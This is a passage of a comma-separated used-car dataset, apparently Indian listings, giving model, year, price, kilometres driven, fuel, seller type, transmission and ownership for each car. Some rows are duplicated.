ZDi,2014,550000,38406,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GLS,2014,320000,54350,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI BS IV,2015,390000,32260,Petrol,Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxE,2014,550000,58231,Diesel,Dealer,Manual,First Owner +Maruti Swift VXI,2012,370000,59858,Petrol,Dealer,Manual,First Owner +Maruti Alto LXi BSIII,2010,190000,73350,Petrol,Dealer,Manual,First Owner +Renault Duster 110PS Diesel RxZ,2013,509999,88473,Diesel,Dealer,Manual,First Owner +Honda City S,2013,450000,96987,Petrol,Dealer,Manual,First Owner +Mercedes-Benz GLS 2016-2020 350d 4MATIC,2016,5500000,77350,Diesel,Dealer,Automatic,First Owner +Maruti Swift Dzire VDI,2015,550000,61187,Diesel,Dealer,Manual,First Owner +Mahindra Xylo E6,2009,400000,68350,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2015,585000,81150,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2019,500000,30000,Petrol,Individual,Manual,First Owner +Maruti Ciaz ZXi,2015,800000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2009,265000,120000,Diesel,Individual,Manual,Second Owner +Ford Figo Diesel Titanium,2012,175000,180000,Diesel,Individual,Manual,First Owner +Fiat Palio 1.2 Sport,2007,125000,50000,Petrol,Individual,Manual,Second Owner +Tata Manza Aqua Quadrajet BS IV,2010,165000,80000,Diesel,Individual,Manual,First Owner +Mahindra Verito 1.5 D2 BSIII,2011,150000,280000,Diesel,Individual,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Option,2015,1025000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2014,1030000,250000,Diesel,Individual,Manual,Second Owner +Chevrolet Cruze LT,2012,380000,90000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Swift Dzire LDi,2010,250000,110000,Diesel,Individual,Manual,Third Owner +Maruti Zen LX,2000,85000,80000,Petrol,Individual,Manual,Second Owner +Fiat Punto EVO 1.3 Dynamic,2016,500000,35000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2018,350000,15000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2010,190000,52000,Petrol,Individual,Manual,Second Owner +Volkswagen Jetta 1.9 TDI Trendline,2009,940000,140000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI,2013,475000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2018,300000,17000,Petrol,Individual,Manual,First Owner +Chevrolet Beat LS,2016,250000,70000,Petrol,Individual,Manual,Third Owner +Maruti Zen LX,2001,93000,97000,Petrol,Individual,Manual,Fourth & Above Owner +Ford Figo Diesel ZXI,2012,290000,125000,Diesel,Individual,Manual,Second Owner +Tata Indica GLS BS IV,2010,75000,300000,Petrol,Individual,Manual,Third Owner +Mahindra XUV500 W8 2WD,2015,1000000,120000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Asta 1.4 CRDi,2015,550000,87000,Diesel,Individual,Manual,First Owner +Fiat Punto 1.3 Emotion,2010,285000,75000,Diesel,Individual,Manual,Third Owner +Tata Indigo Grand Petrol,2014,240000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 VTVT S,2015,850000,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.2 SX,2016,650000,26000,Petrol,Individual,Manual,First Owner +Maruti Celerio Green VXI,2017,365000,78000,CNG,Individual,Manual,First Owner +Hyundai i20 Active 1.2 SX,2016,650000,26000,Petrol,Individual,Manual,First Owner +Chevrolet Sail 1.2 Base,2015,260000,35000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Petrol,2014,250000,100000,Petrol,Individual,Manual,First Owner +Tata New Safari 4X2,2007,550000,80000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI,2004,70000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Sail Hatchback LT ABS,2013,225000,80000,Diesel,Individual,Manual,First Owner +Honda City 1.3 EXI,2002,145000,100000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2018,930000,20000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI,2019,550000,51000,Petrol,Individual,Manual,First Owner +Maruti Alto LX BSIII,2008,85000,120000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus Sports Edition,2014,280000,55000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,360000,6000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2011,150000,40000,Petrol,Individual,Manual,Second Owner +Skoda Rapid 1.6 MPI AT Ambition BSIV,2017,900000,15000,Petrol,Individual,Automatic,First Owner +Ambassador CLASSIC 1500 DSL AC,2005,120000,50000,Diesel,Individual,Manual,Second Owner +Fiat Linea T Jet Emotion,2010,215000,90000,Petrol,Individual,Manual,Second Owner +Renault Scala Diesel RxL,2013,550000,38500,Diesel,Individual,Manual,First Owner +Tata Nexon 1.2 Revotron XZ Plus Dual Tone,2018,775000,35000,Petrol,Individual,Manual,First Owner +Maruti Gypsy King HT BSIV,2001,409999,49359,Petrol,Individual,Manual,Third Owner +Maruti 800 AC Uniq,2005,65000,70000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2008,200000,90000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2010,240000,50000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 VX 8 STR,2012,800000,108731,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 EV Diesel MS 7 Str BSIII,2010,400000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BSIII,2012,229999,40000,Petrol,Individual,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,580000,120000,Diesel,Individual,Manual,First Owner +Toyota Corolla H2,2005,175000,100000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Ritz VDi,2012,250000,110000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai EON Magna Plus,2014,320000,80000,Petrol,Individual,Manual,First Owner +Nissan Micra Diesel XV,2013,300000,90000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 mHAWK100 T8,2017,800000,60000,Diesel,Individual,Manual,First Owner +Hyundai Verna SX AT Diesel,2009,245000,75000,Diesel,Dealer,Automatic,First Owner +Hyundai EON Magna Plus,2018,300000,20000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 CRDi E,2017,350000,80000,Diesel,Individual,Manual,First Owner +Maruti Zen LX - BS III,2006,70000,105700,Petrol,Individual,Manual,First Owner +Maruti Celerio VXI Optional,2017,430999,14000,Petrol,Dealer,Manual,First Owner +Chevrolet Spark 1.0,2010,80000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI Optional,2019,335000,28000,Petrol,Dealer,Manual,First Owner +Maruti Eeco 7 Seater Standard BSIV,2017,350000,51000,Petrol,Dealer,Manual,First Owner +Maruti Alto 800 LXI Opt BSIV,2018,315000,56000,Petrol,Dealer,Manual,First Owner +Volkswagen Vento 1.5 TDI Highline Plus AT BSIV,2019,1100000,35000,Diesel,Individual,Automatic,First Owner +Maruti Esteem Lxi - BSIII,2005,80000,24000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI Optional,2014,285000,64000,Petrol,Dealer,Manual,Second Owner +Tata Indigo TDI,2009,100000,120000,Diesel,Individual,Manual,Third Owner +Maruti Alto LXi,2011,225000,37091,Petrol,Individual,Manual,First Owner +Volvo XC 90 D5 Inscription BSIV,2017,4500000,80000,Diesel,Individual,Automatic,First Owner +Maruti Alto K10 VXI,2018,320000,38900,Petrol,Individual,Manual,Third Owner +Hyundai Creta 1.6 CRDi SX Plus,2016,1249000,60000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R LXI Minor,2008,120000,110000,Petrol,Individual,Manual,Third Owner +Volkswagen Vento Diesel Trendline,2011,200000,100000,Diesel,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX,2016,1151000,85000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LS,2012,120000,140000,Diesel,Individual,Manual,First Owner +Renault KWID RXT,2017,220000,20000,Petrol,Individual,Manual,First Owner +Tata Nexon 1.2 Revotron XZ Plus Dual Tone,2017,750000,15000,Petrol,Individual,Manual,First Owner +Mahindra TUV 300 T10 Dual Tone,2018,784000,40000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.2 S i VTEC,2017,500000,50000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2018,350000,20000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W7 AT BSIV,2018,1400000,50000,Diesel,Individual,Automatic,First Owner +Mahindra Thar CRDe AC,2014,600000,100000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna BSIV,2019,525000,9400,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2017,930000,12000,Diesel,Individual,Manual,First Owner +Maruti Eeco 5 STR With AC Plus HTR CNG,2017,440000,14100,CNG,Dealer,Manual,First Owner +Maruti Celerio ZXI,2016,434999,21000,Petrol,Dealer,Manual,First Owner +Hyundai i10 Magna,2011,250000,28000,Petrol,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI Plus,2017,940000,35000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 CRDi AT SX,2017,1050000,31000,Diesel,Dealer,Automatic,First Owner +Maruti Ertiga SHVS ZDI,2016,825000,58000,Diesel,Dealer,Manual,First Owner +Maruti Wagon R VXI Minor,2012,229999,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.2 Asta,2011,375000,72000,Petrol,Dealer,Manual,First Owner +Maruti Ertiga ZDI,2013,640000,89000,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 V Diesel 8-seater,2012,800000,160000,Diesel,Dealer,Manual,First Owner +Ford Figo Petrol ZXI,2012,130000,30000,Petrol,Individual,Manual,Third Owner +Hyundai i10 Sportz 1.1L,2014,300000,37555,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI BS IV,2018,440000,14000,Petrol,Dealer,Manual,First Owner +Maruti Ertiga VXI CNG,2014,595000,56600,CNG,Dealer,Manual,First Owner +Mahindra Scorpio EX,2013,450000,110000,Diesel,Individual,Manual,First Owner +Maruti Vitara Brezza VDi Option,2017,690000,50000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 VXI,2019,300000,5000,Petrol,Individual,Manual,First Owner +Chevrolet Sail 1.2 Base,2014,170000,100000,Petrol,Individual,Manual,Second Owner +Toyota Etios Liva GD SP,2012,280000,120000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI BSIII,2009,220000,67580,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing GLS,2009,140000,100000,Petrol,Individual,Manual,Third Owner +Maruti Esteem Lxi,2004,45000,60000,Petrol,Individual,Manual,First Owner +Ford Figo Diesel Titanium,2014,200000,125000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 Turbo 7 Str,2008,325000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi SX,2010,300000,130000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC,2009,120000,250000,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Honda City i DTEC S,2014,520000,82000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Mahindra Verito Vibe 1.5 dCi D6,2015,280000,40000,Diesel,Individual,Manual,First Owner +Nissan Sunny XL D,2013,225000,78000,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 Petrol Titanium Plus AT BSIV,2015,750000,48238,Petrol,Trustmark Dealer,Automatic,First Owner +Hyundai i20 1.2 Magna Executive,2016,535000,38365,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 W10 1.99 mHawk,2016,1250000,23670,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Baleno Zeta 1.2,2017,650000,49834,Petrol,Trustmark Dealer,Manual,First Owner +Honda Brio S MT,2013,295000,57353,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift DDiS VDI,2015,480000,68308,Diesel,Trustmark Dealer,Manual,First Owner +Honda City i DTEC SV,2015,575000,63240,Diesel,Trustmark Dealer,Manual,First Owner +Mahindra Scorpio 1.99 S4,2016,509999,60000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2008,69000,100000,Petrol,Individual,Manual,First Owner +Tata Manza Aura Safire BS IV,2013,200000,60000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 GX 8 STR BSIV,2012,449000,90000,Diesel,Individual,Manual,First Owner +Tata Harrier XE,2020,426000,1000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.5 Petrol Ambiente,2017,650000,6000,Petrol,Individual,Manual,First Owner +Tata Tiago 1.05 Revotorq XM,2017,260000,50000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,295000,90000,Diesel,Individual,Manual,Third Owner +Maruti Eeco 5 Seater AC BSIV,2017,260000,30000,Petrol,Dealer,Manual,First Owner +Tata Indica Vista Quadrajet LS,2012,120000,140000,Diesel,Individual,Manual,First Owner +Hyundai Verna SX,2007,155000,65000,Petrol,Dealer,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2015,450000,38000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 GX 4x2 BS IV,2012,320000,80000,Diesel,Individual,Manual,First Owner +Hyundai Verna i (Petrol),2007,123000,50000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XO,2006,80000,110000,Petrol,Individual,Manual,First Owner +Maruti SX4 Celebration Petrol,2012,220000,90000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Active S Diesel,2018,650000,37000,Diesel,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2018,285000,30000,Petrol,Dealer,Manual,First Owner +Honda Amaze V CVT Petrol BSIV,2018,725000,26000,Petrol,Dealer,Automatic,First Owner +Tata Indica Vista Aqua 1.2 Safire BSIV,2010,97000,128000,Petrol,Individual,Manual,First Owner +Maruti Ciaz ZXi,2016,625000,30000,Petrol,Dealer,Manual,First Owner +Hyundai i20 Active SX Petrol,2016,550000,23000,Petrol,Dealer,Manual,First Owner +Tata Indigo CR4,2012,130000,120000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna,2012,240000,40000,Petrol,Dealer,Manual,First Owner +Nissan Terrano XL 85 PS,2014,600000,27000,Diesel,Dealer,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2012,350000,65000,Diesel,Dealer,Manual,First Owner +Hyundai EON Magna Plus,2015,245000,32000,Petrol,Dealer,Manual,First Owner +Maruti Swift 1.3 VXi,2009,199000,52536,Petrol,Individual,Manual,First Owner +Mahindra Xylo E4,2011,330000,100000,Diesel,Individual,Manual,Second Owner +Maruti Ritz VXI,2009,150000,80000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.6 CRDi SX,2016,927999,90000,Diesel,Individual,Manual,First Owner +Maruti Zen LXI,2003,70000,60000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai Xcent 1.2 CRDi SX,2015,399000,55000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI Optional,2015,350000,90000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 2.6 CRDe,2006,125000,50000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing XS,2008,150000,90000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus,2015,250000,25000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX CRDi (O),2014,675000,61000,Diesel,Dealer,Manual,First Owner +Maruti S-Cross Alpha DDiS 200 SH,2018,950000,30000,Diesel,Individual,Manual,First Owner +Maruti Eeco 5 STR With AC Plus HTR CNG,2018,409999,45000,CNG,Individual,Manual,First Owner +Fiat Linea Emotion (Diesel),2011,225000,60000,Diesel,Individual,Manual,First Owner +Honda Civic 1.8 V MT,2008,350000,75000,Petrol,Individual,Manual,Second Owner +Tata Indica LSI,2005,51111,140000,Petrol,Individual,Manual,Third Owner +Chevrolet Sail 1.3 LS,2013,290000,56000,Diesel,Dealer,Manual,First Owner +Toyota Camry Hybrid,2006,310000,62000,Electric,Dealer,Automatic,Second Owner +Hyundai Verna CRDi SX,2007,212000,58000,Diesel,Dealer,Manual,Second Owner +Skoda Octavia Elegance 2.0 TDI AT,2013,900000,49000,Diesel,Dealer,Automatic,Second Owner +Chevrolet Beat Diesel LT,2011,221000,56000,Diesel,Dealer,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2013,675000,73000,Diesel,Dealer,Manual,First Owner +Honda Amaze S i-Dtech,2014,421000,69000,Diesel,Dealer,Manual,First Owner +Maruti SX4 Zxi BSIII,2008,350000,10000,Petrol,Individual,Manual,First Owner +Hyundai Accent Executive CNG,2010,140000,110000,CNG,Individual,Manual,First Owner +Skoda Octavia Ambiente 1.9 TDI MT,2002,90000,116000,Diesel,Individual,Manual,Second Owner +Honda City Edge Edition Diesel SV,2018,830000,40000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2009,180000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2009,210000,109000,Diesel,Individual,Manual,Second Owner +Maruti SX4 S Cross DDiS 320 Zeta,2017,700000,90000,Diesel,Individual,Manual,First Owner +Tata Nano Cx BSIII,2014,45000,7000,Petrol,Individual,Manual,Second Owner +Tata Indigo LX,2012,125000,120000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 VTVT S,2017,530000,64916,Petrol,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Trend,2018,800000,37161,Diesel,Dealer,Manual,First Owner +Maruti Baleno Zeta 1.2,2016,580000,15000,Petrol,Individual,Manual,First Owner +Audi Q3 2.0 TDI Quattro Premium Plus,2012,1400000,118000,Diesel,Individual,Automatic,Second Owner +Renault KWID 1.0 RXL,2018,300000,50852,Petrol,Individual,Manual,First Owner +Renault KWID RXT Optional,2016,300000,30000,Petrol,Individual,Manual,First Owner +Maruti Ciaz ZDi SHVS,2015,700000,77000,Diesel,Individual,Manual,First Owner +Nissan Sunny XL,2012,250000,70000,Petrol,Individual,Manual,Third Owner +Chevrolet Tavera Neo 3 9 Str BSIII,2016,500000,120000,Diesel,Individual,Manual,First Owner +Honda Accord 2.4 AT,2009,428000,40000,Petrol,Individual,Automatic,Third Owner +Tata Harrier XZ BSIV,2019,1400000,33000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,219000,53500,Petrol,Individual,Manual,Third Owner +Maruti Ertiga SHVS LDI,2017,500000,40000,Diesel,Individual,Manual,First Owner +Honda City i DTEC S,2014,520000,82000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S4,2016,509999,60000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2019,556000,24000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Dicor,2014,225000,120000,Diesel,Individual,Manual,First Owner +Honda Amaze EX i-Dtech,2013,325000,65000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2013,365000,65000,Diesel,Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Plus,2015,850000,84000,Diesel,Dealer,Manual,First Owner +Toyota Etios GD SP,2013,350000,75000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2007,225000,50000,Diesel,Dealer,Manual,First Owner +Maruti Alto LX,2011,135000,50000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,140000,49000,Petrol,Dealer,Manual,First Owner +Maruti SX4 S Cross DDiS 320 Delta,2016,665000,560000,Diesel,Dealer,Manual,First Owner +Renault KWID RXT,2015,275000,14365,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 2.8 4WD AT BSIV,2017,2750000,41000,Diesel,Individual,Automatic,First Owner +Hyundai Verna 1.6 SX,2013,484999,65000,Diesel,Dealer,Manual,First Owner +Maruti Ciaz VDi Option SHVS,2015,565000,65000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2013,425000,61083,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2013,925000,75000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD AIRBAG SE BSIV,2012,565000,72000,Diesel,Dealer,Manual,First Owner +Renault Duster 110PS Diesel RxL,2014,525000,65000,Diesel,Dealer,Manual,First Owner +Honda City 1.5 S MT,2010,409999,60000,Petrol,Individual,Manual,First Owner +Tata Tigor 1.2 Revotron XZ Option,2018,570000,5000,Petrol,Individual,Manual,First Owner +Maruti SX4 Zxi BSIII,2007,160000,80000,Petrol,Individual,Manual,Third Owner +Maruti Ciaz ZDi Plus SHVS,2017,749000,51500,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDi,2010,300000,120000,Diesel,Individual,Manual,Third Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2014,550000,79800,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2015,550000,97000,Diesel,Dealer,Manual,Second Owner +Ford Ecosport 1.5 Diesel Titanium Plus,2019,1250000,6590,Diesel,Dealer,Manual,First Owner +Ford Figo Aspire 1.5 TDCi Titanium,2017,700000,49957,Diesel,Dealer,Manual,First Owner +Ford Figo 1.5 Sports Edition MT,2017,600000,43235,Diesel,Dealer,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium Plus BE BSIV,2018,925000,50699,Diesel,Dealer,Manual,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2016,1800000,126000,Diesel,Dealer,Automatic,First Owner +Ford Figo Aspire 1.5 TDCi Titanium Plus,2015,459999,140730,Diesel,Dealer,Manual,Second Owner +Hyundai i20 Active 1.2 SX,2015,565000,46000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,170000,80000,Petrol,Individual,Manual,Third Owner +Toyota Qualis FS B3,2001,150000,256000,Diesel,Dealer,Manual,First Owner +Mahindra Scorpio VLX 2WD BSIII,2008,295000,120000,Diesel,Individual,Manual,First Owner +Hyundai i20 Active 1.4 SX,2018,819999,40000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Diesel Asta Option,2019,819999,40000,Diesel,Individual,Manual,First Owner +Maruti Ritz VXi,2015,320000,40000,Petrol,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2015,550000,135000,Diesel,Individual,Manual,Second Owner +Mahindra Bolero 2011-2019 SLX,2015,550000,50000,Diesel,Individual,Manual,First Owner +Volkswagen Ameo 1.5 TDI Comfortline,2017,590000,98000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2014,1050000,70000,Diesel,Individual,Manual,First Owner +Honda City i DTec V,2017,950000,50000,Diesel,Individual,Manual,First Owner +Honda City i-DTEC VX,2017,1000000,30000,Diesel,Individual,Manual,First Owner +Nissan Terrano XE 85 PS,2013,500000,120000,Diesel,Individual,Manual,First Owner +Fiat Punto EVO 1.3 Emotion,2017,450000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI Optional,2017,720000,35000,Diesel,Individual,Manual,First Owner +Maruti Celerio VDi,2015,390000,70000,Diesel,Individual,Manual,Second Owner +Mahindra Thar 4X2,2014,500000,35000,Diesel,Individual,Manual,First Owner +Toyota Fortuner 2.7 2WD AT,2016,2500000,70000,Petrol,Individual,Automatic,Second Owner +Hyundai i20 1.4 Asta Option,2017,780000,50000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire ZDI,2015,484999,90000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento Diesel Highline,2012,420000,90000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W10 AWD,2015,1225000,70000,Diesel,Individual,Manual,First Owner +Tata Indica Vista TDI LX,2015,350000,50000,Diesel,Individual,Manual,Second Owner +Mahindra Verito 1.5 D4 BSIV,2015,350000,120000,Diesel,Individual,Manual,Third Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2011,800000,230000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XG AT,2004,125000,70000,Petrol,Individual,Automatic,Second Owner +Tata Indica V2 DLS BSII,2010,75000,100000,Diesel,Individual,Manual,Third Owner +Mahindra KUV 100 G80 K4 Plus,2018,509999,15000,Petrol,Individual,Manual,First Owner +Tata Indigo Classic Dicor,2014,215000,80000,Diesel,Individual,Manual,Third Owner +Hyundai Grand i10 1.2 CRDi Asta,2018,465000,25000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2017,625000,52000,Petrol,Dealer,Manual,First Owner +Hyundai Grand i10 CRDi Magna,2017,490000,66000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI,2017,880000,64000,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GL Plus,2013,290000,49000,Petrol,Individual,Manual,First Owner +Tata Sumo GX TC 7 Str BSIII,2006,115999,100000,Diesel,Individual,Manual,Second Owner +Maruti Vitara Brezza LDi Option,2017,685000,72000,Diesel,Dealer,Manual,First Owner +Honda Jazz S,2009,300000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Sportz,2017,680000,44000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2014,480000,101000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2016,630000,55000,Diesel,Dealer,Manual,First Owner +Honda City 1.5 GXI,2007,190000,115000,Petrol,Dealer,Manual,Second Owner +Maruti Swift VDI,2015,500000,100000,Diesel,Dealer,Manual,First Owner +Volkswagen Jetta 2.0L TDI Comfortline,2014,850000,52000,Diesel,Dealer,Manual,Second Owner +Maruti SX4 ZDI,2011,350000,105000,Diesel,Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxE,2013,425000,170000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI BSIV,2015,495000,105000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS VDI,2017,890000,60000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 AT EX,2018,1100000,25000,Diesel,Individual,Automatic,Second Owner +Mahindra XUV500 W8 2WD,2014,650000,218000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 CRDi Asta,2018,465000,25000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2017,625000,52000,Petrol,Dealer,Manual,First Owner +Hyundai Grand i10 CRDi Magna,2017,490000,66000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI,2017,880000,64000,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GL Plus,2013,290000,49000,Petrol,Individual,Manual,First Owner +Tata Sumo GX TC 7 Str BSIII,2006,115999,100000,Diesel,Individual,Manual,Second Owner +Maruti Vitara Brezza LDi Option,2017,685000,72000,Diesel,Dealer,Manual,First Owner +Honda Jazz S,2009,300000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Sportz,2017,680000,44000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2014,480000,101000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI,2016,630000,55000,Diesel,Dealer,Manual,First Owner +Honda City 1.5 GXI,2007,190000,115000,Petrol,Dealer,Manual,Second Owner +Maruti Swift VDI,2015,500000,100000,Diesel,Dealer,Manual,First Owner +Volkswagen Jetta 2.0L TDI Comfortline,2014,850000,52000,Diesel,Dealer,Manual,Second Owner +Maruti SX4 ZDI,2011,350000,105000,Diesel,Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxE,2013,425000,170000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI BSIV,2015,495000,105000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS VDI,2017,890000,60000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 AT EX,2018,1100000,25000,Diesel,Individual,Automatic,Second Owner +Mahindra XUV500 W8 2WD,2014,650000,218000,Diesel,Individual,Manual,Second Owner +Ford Fiesta 1.6 ZXi Duratec,2009,233000,58000,Petrol,Individual,Manual,Third Owner +Tata Indigo CS LS (TDI) BS-III,2015,300000,110000,Diesel,Individual,Manual,Second Owner +Honda Amaze S Petrol BSIV,2020,614000,1000,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz 1.2,2010,250000,100000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Sportz 1.2,2010,250000,110000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2011,200000,40000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2013,290000,52000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI BS IV,2013,320000,80000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XS eRLX Euro III,2006,145000,52000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXI,2005,100000,124000,Petrol,Individual,Manual,Second Owner +Fiat Punto 1.3 Emotion,2010,130000,210000,Diesel,Individual,Manual,Second Owner +Hyundai Santro AT,2006,145000,66000,Petrol,Individual,Automatic,Second Owner +Maruti Alto LX BSIII,2008,110000,120000,Petrol,Individual,Manual,Third Owner +Maruti Swift Dzire VDI,2019,680000,40000,Diesel,Individual,Manual,First Owner +Maruti 800 Std,2004,37500,90000,Petrol,Individual,Manual,Second Owner +Maruti Ritz VDi,2011,200000,120000,Diesel,Individual,Manual,Second Owner 